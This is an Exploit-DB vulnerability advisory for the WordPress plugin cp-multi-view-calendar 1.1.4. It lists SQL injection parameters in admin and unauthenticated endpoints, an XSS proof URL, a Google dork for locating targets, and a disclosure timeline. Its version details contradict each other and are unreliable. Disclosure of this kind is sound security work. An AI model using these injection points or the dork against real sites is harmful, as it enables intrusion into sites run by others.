WordPress Plugin cp-multi-view-calendar 1.1.4 – SQL Injection

  • 作者: i0akiN SEC-LABORATORY
    日期: 2015-03-03
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/36243/
  • # Exploit Title: WordPress: cp-multi-view-calendar.1.1.4[SQL Injection
    vulnerabilities]
    # Date: 2015-02-28
    # Google Dork: Index of /wordpress/wp-content/plugins/cp-multi-view-calendar
    # Exploit Author: Joaquin Ramirez Martinez [ i0akiN SEC-LABORATORY ]
    # Vendor Homepage: http://wordpress.dwbooster.com/
    # Software Link:
    https://downloads.wordpress.org/plugin/cp-multi-view-calendar.1.1.4.zip
    # Version: 1.1.5
    # Tested on: windows 7 ultimate + sqlmap 0.9. It's php aplication
    # OWASP Top10: A1-Injection
    # Mitigations: Upgrade to version 1.1.5
    
    Greetz to Christian Uriel Mondragon Zarate
    
    Video demo of unauthenticated user sqli explotation vulnerability :
    
    
    
    ###################################################################
    
    ADMIN PAGE SQL INJECTION
    -------------------------------------------------
    
    http://localhost/wordpress/wp-admin/admin-ajax.php?action=ajax_add_calendar
    
    sqlinjection in post parameter viewid
    
    -------------------------------------------------------------------
    
    http://localhost/wordpress/wp-admin/admin-ajax.php?action=ajax_delete_calendar
    
    sqlinjection in post parameter id
    
    
    ########################################
    
    UNAUTENTICATED SQL INJECTION
    -----------------------------------------------------------------
    
    http://localhost/wordpress/?action=data_management&cpmvc_do_action=mvparse&f=edit&id=1
    
    sql injection in id parameter
    
    -----------------------------------------------------------------------
    
    http://localhost/wordpress/?action=data_management&cpmvc_do_action=mvparse&f=datafeed&method=list&calid=1
    
    datapost viewtype=list&list_order=asc vuln variable list_order
    
    
    ################################################################
    
    CROSSITE SCRIPTING VULNERABILITY
    ----------------------------------------------------------
    
    http://localhost/wordpress/?action=data_management&cpmvc_do_action=mvparse&weekstartday=alert(12)&f=edit&id=1
    
    crosite script weekstartday parameter
    
    ###################################################
    
    ==================================
    
    time-line
    
    26-02-2015: vulnerabilities found
    27-02-2015: reported to vendor
    28-02-2015: release new cp-multi-view-calendar version 1.1.4
    28-02-2015: full disclousure
    
    ===================================